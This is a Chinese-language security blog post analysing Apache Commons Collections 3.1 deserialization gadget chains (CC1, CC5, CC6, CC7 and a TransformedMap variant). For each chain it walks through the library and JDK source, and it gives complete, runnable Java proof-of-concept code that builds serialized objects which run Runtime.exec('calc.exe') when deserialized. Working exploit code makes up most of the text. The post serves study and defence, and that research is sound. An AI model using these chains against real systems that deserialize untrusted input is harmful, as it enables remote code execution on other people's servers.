Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和 Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
JDK版本:1.8u60
commons-collections:3.1(可通过maven-compiler-plugin
组件指定源码以及编译版本)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<type>maven-plugin</type>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
|
Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer(3和4的部分实现类有所区别)
介绍一部分实现类(需要用到的类)
传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用
返回构造ConstantTransformer
对象时传入的对象;transform方法会忽略传入参数,不会改变当前对象
使用示例
1
2
3
4
5
6
|
Object obj1 = new Object();
Object obj2 = new Object();
ConstantTransformer ct = new ConstantTransformer(obj1);
System.out.println(obj1.toString()); // java.lang.Object@4a574795
System.out.println(obj2.toString()); // java.lang.Object@f6f4d33
System.out.println(ct.transform(obj2));// java.lang.Object@4a574795
|
通过反射调用传入对象的方法(public属性)
commons-collections
从3.2.2
版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
commons-collections4
从4.1
之后直接禁止被用于反序列化
使用示例
1
2
3
4
5
|
Class[] paramTypes = {int.class, int.class}; // 定义方法参数类型的Class对象
Object[] arg = {0, 3}; // 定义方法参数
InvokerTransformer itf = new InvokerTransformer("substring", paramTypes, arg);
String obj = "tyskill";
System.out.println(itf.transform(obj)); // 调用 substring 方法截取 tyskill 字符串内容
|
命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
// 法一:常规套三层 InvokerTransformer
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
chain.transform("tyskill"); // 任意传入都可
// 法二:传入 Runtime 实例
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
chain.transform("tyskill"); // 任意传入都可
|
通过反射调用传入对象的构造方法新建对象,3.2.2之后启用序列化也需要属性-Dproperty=true
,4.1之后也禁止用于反序列化
使用示例
1
2
3
4
|
String[] arg = {"tyskill"};
InstantiateTransformer it = new InstantiateTransformer(new Class[]{String.class}, arg);
Object o = it.transform(String.class); // 初始化 String 对象
System.out.println(o);
|
条件:
1、commons-collections:3.1
2、jdk8u71以下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
经过前面的基础知识知道可以通过Transformer调用transform方法实现RCE,那么就需要寻找出现transform方法调用且实现了Serializable接口的类,LazyMap类get!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
|
LazyMap在没有key时会尝试调用this.factory.transform
方法,this.factory
可指定为Transformer对象,且transform方法参数会被直接忽略,因此只需要寻找调用了LazyMap.get
的方法,找到了AnnotationInvocationHandler
类的invoke方法:
1
2
3
4
5
6
7
8
|
public Object invoke(Object proxy, Method method, Object[] args) {
...
// Handle annotation member accessors
Object result = memberValues.get(member);
...
}
|
参考该类的类注释可知该类用于动态代理(实现了InvocationHandler接口可不就是是用于动态代理么),那么invoke就是在动态代理中调用,接下来就是要寻找被代理对象(LazyMap)的方法调用
AnnotationInvocationHandler.readObject()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
...
}
|
从字节流设置memberValues成员变量的值,然后通过entrySet方法触发LazyMap的动态代理进而调用AnnotationInvocationHandler的invoke方法,那么链子就串起来了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
public static void main(String[] args) throws Exception {
// Transformer RCE
ChainedTransformer chainTransform = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
// 设置 Transformer 对象
Map map = (Map) LazyMap.decorate(new HashMap(), chainTransform);
// 用于动态代理触发 invoke 方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor handlerConsructor = clazz.getDeclaredConstructor(
Class.class,
Map.class
);
handlerConsructor.setAccessible(true);
InvocationHandler firstHandler = (InvocationHandler) handlerConsructor.newInstance(
Override.class,
map
);
// Dynamic Call
Map mapProxy = (Map) Proxy.newProxyInstance(
map.getClass().getClassLoader(),
map.getClass().getInterfaces(),
firstHandler
);
// 用于反序列化触发 readObject 方法
Class claz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor handlerCons = claz.getDeclaredConstructor(
Class.class,
Map.class
);
handlerCons.setAccessible(true);
InvocationHandler secondHandler = (InvocationHandler) handlerCons.newInstance(
Override.class,
mapProxy
);
try {
byte[] mapSerial = serialize(secondHandler);
deserialize(mapSerial);
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(buffer);
oos.writeObject(obj);
oos.close();
return buffer.toByteArray();
}
public static void deserialize(byte[] bt) throws IOException, ClassNotFoundException {
ByteArrayInputStream buffer = new ByteArrayInputStream(bt);
ObjectInputStream ois = new ObjectInputStream(buffer);
ois.readObject();
ois.close();
}
|
写完上面的POC之后才看得《Java安全漫谈》,看一眼POC,我这是写了个啥啊。。。
POC主要精简了两点:(虽然一共就两点)
- transform调用链传入对象思维固定在了Class对象,要用两层InvokerTransformer去获得Runtime实例,那么直接传入实例就可以简化调用过程
- ysoserial工具思路是经过动态代理调用invoke方法然后进入LazyMap类的get方法完成transform方法调用;而transform方法并不是只有该处出现,在TransformedMap类同样出现且利用难度更低,或许是因为实际情况和安全研究情况不同吧
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
Transformer transformerChain = chain;
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(
innerMap,
null,
transformerChain
);
outerMap.put("test", "tyskill");
|
条件:
1、依赖及版本commons-collections:3.1
2、JDK版本8u76(来自ysoserial注释,实际验证8u292也可以触发)
3、没有启用SecurityManager(安全管理器)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
有了上面的精简化transform链就不用之前的那个复杂的了,不过也差不多,反正都是CV()
还是通过LazyMap的get方法调用transform方法,不过调用get方法的调用找了其他的类TiedMapEntry
,该类的toString方法可以调用自身的getValue方法,然后getValue方法可以调用Map类型的get方法
1
2
3
4
5
6
|
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
|
接着就是寻找toString方法调用,野生的BadAttributeValueExpException类出现了!也是在这里出现了这条链利用的限制条件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
|
需要在没有开启安全管理器才能调用valObj对象的toString方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
Transformer transformerChain = chain;
Map map = (Map) LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tme = new TiedMapEntry(map, "tyskill");
BadAttributeValueExpException bad = new BadAttributeValueExpException(tme);
try {
byte[] b = serialize(bad);
deserialize(b);
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(buffer);
oos.writeObject(obj);
oos.close();
return buffer.toByteArray();
}
public static void deserialize(byte[] bt) throws IOException, ClassNotFoundException {
ByteArrayInputStream buffer = new ByteArrayInputStream(bt);
ObjectInputStream ois = new ObjectInputStream(buffer);
ois.readObject();
ois.close();
}
|
条件:commons-collections:3.1
1
2
3
4
5
6
7
8
9
10
11
|
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
|
在5的基础上切换了TiedMapEntry类getValue方法的调用流程,同样通过当前类的方法hashCode调用
1
2
3
4
5
6
7
|
public Object getValue() {
return this.map.get(this.key);
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
|
然后HashMap类hash方法可调用可控对象的hashCode方法,接着配合put方法完成调用
1
2
3
4
5
6
7
|
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
最后只要找可控对象的put方法即可,找到类HashSet且map就是HashMap类型,这就无需通过反射修改类型了,不过即使修改了在transient关键字修饰下也无法序列化,接下来看向put参数e,e对象是由writeObject方法生成的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
private transient HashMap<E,Object> map;
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
|
e对象是通过循环获得map.keySet()
(也就是HashMap的keySet方法)内容写入字节流,那么接下来就是如何控制map.keySet()
内容的问题了。这里的逻辑有点复杂,我也没太搞懂,只能尽力说一下。
参考方法注释@return a set view of the keys contained in this map
,map.keySet()
的内容就是HashMap的key集合,因此我们需要把TiedMapEntry对象作为key传进HashMap对象,怎么传呢?
这里有两种方法:直接传和间接改。
直接传就是调用HashMap的put方法或putVal方法传入,但是我们的目的就是调用这个方法,所以又需要找其他可控对象的put方法,这样又会导致思路变复杂;那么就还有剩下的一种方法,也就是yso链子的思路,通过Node对象来控制key。
Node在HashMap中是一个实现了Map.Entry<K,V>
的内部类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}
public final K getKey() { return key; }
public final V getValue() { return value; }
public final String toString() { return key + "=" + value; }
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
public final V setValue(V newValue) {
V oldValue = value;
value = newValue;
return oldValue;
}
public final boolean equals(Object o) {
if (o == this)
return true;
if (o instanceof Map.Entry) {
Map.Entry<?,?> e = (Map.Entry<?,?>)o;
if (Objects.equals(key, e.getKey()) &&
Objects.equals(value, e.getValue()))
return true;
}
return false;
}
}
|
很明显,这里并没有看到能够添加key的方法,但是却能够在初始化对象时通过反射控制key值,寻找初始化方法调用,然后就可以找到resize方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
final Node<K,V>[] resize() {
Node<K,V>[] oldTab = table;
int oldCap = (oldTab == null) ? 0 : oldTab.length;
int oldThr = threshold;
int newCap, newThr = 0;
...
if (oldTab != null) {
for (int j = 0; j < oldCap; ++j) {
Node<K,V> e;
if ((e = oldTab[j]) != null) {
oldTab[j] = null;
if (e.next == null)
newTab[e.hash & (newCap - 1)] = e;
else if (e instanceof TreeNode)
((TreeNode<K,V>)e).split(this, newTab, j, oldCap);
else { // preserve order
Node<K,V> loHead = null, loTail = null;
Node<K,V> hiHead = null, hiTail = null;
Node<K,V> next;
do {
next = e.next;
if ((e.hash & oldCap) == 0) {
if (loTail == null)
loHead = e;
else
loTail.next = e;
loTail = e;
}
else {
if (hiTail == null)
hiHead = e;
else
hiTail.next = e;
hiTail = e;
}
} while ((e = next) != null);
if (loTail != null) {
loTail.next = null;
newTab[j] = loHead;
}
if (hiTail != null) {
hiTail.next = null;
newTab[j + oldCap] = hiHead;
}
}
}
}
}
return newTab;
}
|
接着寻找resize调用就能找到getNode方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
final Node<K,V> getNode(int hash, Object key) {
Node<K,V>[] tab; Node<K,V> first, e; int n; K k;
if ((tab = table) != null && (n = tab.length) > 0 &&
(first = tab[(n - 1) & hash]) != null) {
if (first.hash == hash && // always check first node
((k = first.key) == key || (key != null && key.equals(k))))
return first;
if ((e = first.next) != null) {
if (first instanceof TreeNode)
return ((TreeNode<K,V>)first).getTreeNode(hash, key);
do {
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
return e;
} while ((e = e.next) != null);
}
}
return null;
}
|
知道可以通过Node修改key了,接下来就是怎么通过Node修改了。其实也就是怎么调用resize方法初始化Node对象,然后反射修改key字段内容,还是看向方法注释
1
2
3
4
5
6
7
8
9
|
/**
* Initializes or doubles table size. If null, allocates in
* accord with initial capacity target held in field threshold.
* Otherwise, because we are using power-of-two expansion, the
* elements from each bin must either stay at same index, or move
* with a power of two offset in the new table.
*
* @return the table
*/
|
这里讲述了resize会在第一次使用table(哈希表)字段时自动初始化,即自动调用resize方法,文章https://zhuanlan.zhihu.com/p/55890890也是这样描述的。所以我们要做的就是通过反射插入table字段,让该字段非null就能触发resize方法,接下来所有的就没问题了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
public static void main(String[] args) throws Exception {
ChainedTransformer chainTransform = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
Transformer transformerChain = chainTransform;
HashMap innerMap = new HashMap();
Map map = (Map) LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(map, "tyskill");
HashSet hs = new HashSet(2);
hs.add("foo");
Field f1 = HashSet.class.getDeclaredField("map");
f1.setAccessible(true);
HashMap innimpl = (HashMap) f1.get(hs);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[1];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, tme);
try {
serialize(hs, "E:/tmp/cc6");
deserialize("E:/tmp/cc6");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void serialize(Object obj, String path) throws IOException {
FileOutputStream fos = new FileOutputStream(path);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void deserialize(String path) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
|
条件:commons-collections:3.1
1
2
3
4
5
6
7
8
9
10
11
12
|
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
|
还是LazyMap的get方法,继续从这开始,抽象类AbstractMapDecorator的equals方法存在可控对象的get方法调用(调试过后发现没有到AbstractMap的equals方法)然后看向Hashtable类的reconstitutionPut方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
|
利用条件是进入for循环,也就是e != null
,如何让它不为null呢?这就要看tab[index]
是怎么获得的:是通过计算hash然后经过一些运算然后获得的,但是有个问题就是tab[index]
在没有赋值的前提下是一定为null的,因此我们需要找出两个hash相同的对象。这涉及到Java的一个小Trick:"yy".hashCode() == "zZ".hashCode()
,传入这两个key就可以让zZ在前者基础上进入for循环,继续寻找调用,正好readObject方法中存在调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
|
可以调用,但是需要条件,即; elements > 0; elements--
能进入循环,也就是内部元素需要至少两个元素,所以可以在Hashtable内插入两条数据,这样就结束了。(这里并没有遇到不用remove时发生的UNIXProcess实例反序列化报错问题)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
public static void main(String[] args) throws Exception {
ChainedTransformer chainTransform = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
Transformer transformerChain = chainTransform;
Map map1 = LazyMap.decorate(new HashMap(), transformerChain);
map1.put("yy",1);
Map map2 = LazyMap.decorate(new HashMap(), transformerChain);
map2.put("zZ",1);
Hashtable table = new Hashtable();
table.put(map1,"tyskill");
table.put(map2,"tyskill");
map2.remove("yy");
try {
serialize(table, "E:/tmp/cc7");
deserialize("E:/tmp/cc7");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void serialize(Object obj, String path) throws IOException {
FileOutputStream fos = new FileOutputStream(path);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void deserialize(String path) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
|
1、cc在3.2.2版本前InvokerTransformer还可以直接反序列化,此时就只需要寻找transform方法调用;3.2.2之后不能使用-Dproperty=true
配置运行文件就只能使用其他姿势了
2、多翻翻同类下的方法调用能使链子更精简
https://paper.seebug.org/1242/
https://forum.butian.net/share/120
3.2.2-Document
4.4-Document
https://github.com/frohoff/ysoserial
《P神--Java安全漫谈》
https://zhuanlan.zhihu.com/p/55890890